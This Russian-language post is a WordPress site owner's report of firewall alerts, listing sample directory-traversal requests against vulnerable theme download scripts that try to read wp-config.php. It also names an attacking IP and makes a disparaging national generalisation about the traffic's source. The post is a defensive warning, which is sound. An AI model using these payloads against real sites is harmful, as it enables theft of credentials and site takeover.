Приветствую всех.
Уже давно наблюдаю как приходят сообщения от Firewall  на почту о потенциальной атаке на блог по 50 попыток в день.
Вот маленький пример куда стучатся:
_/wp-content/themes/ypo-theme/download.php?download=../../../wp-config.php
_/wp-content/themes/yakimabait/download.php?file=../../../wp-config.php
_/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php
_/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php
_/wp-content/themes/tess/download.php?file=../../../wp-config.php
_/wp-content/themes/persuasion/lib/scripts/dl-skin.php
_/wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php
_/wp-content/themes/parallelus-mingle/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php

То есть перебором ищут установленную дырявую тему.
Правда не знаю защищает файрволл или нет, но предупреждать - предупреждает.
Думаю стоит более внимательно относиться к тому где скачивать темы и плагины.

Естественно атака, как и около 80% идет с главной цирковой площадки (кто бы сомневался). Они за частую даже не пользуются анонимайзерами. Этот 178.137.84.80 уже несколько дней не меняя этого ip долбится , сегодня всю подсеть в хтаче закрыл так что куча киевлян не увидит мой сайт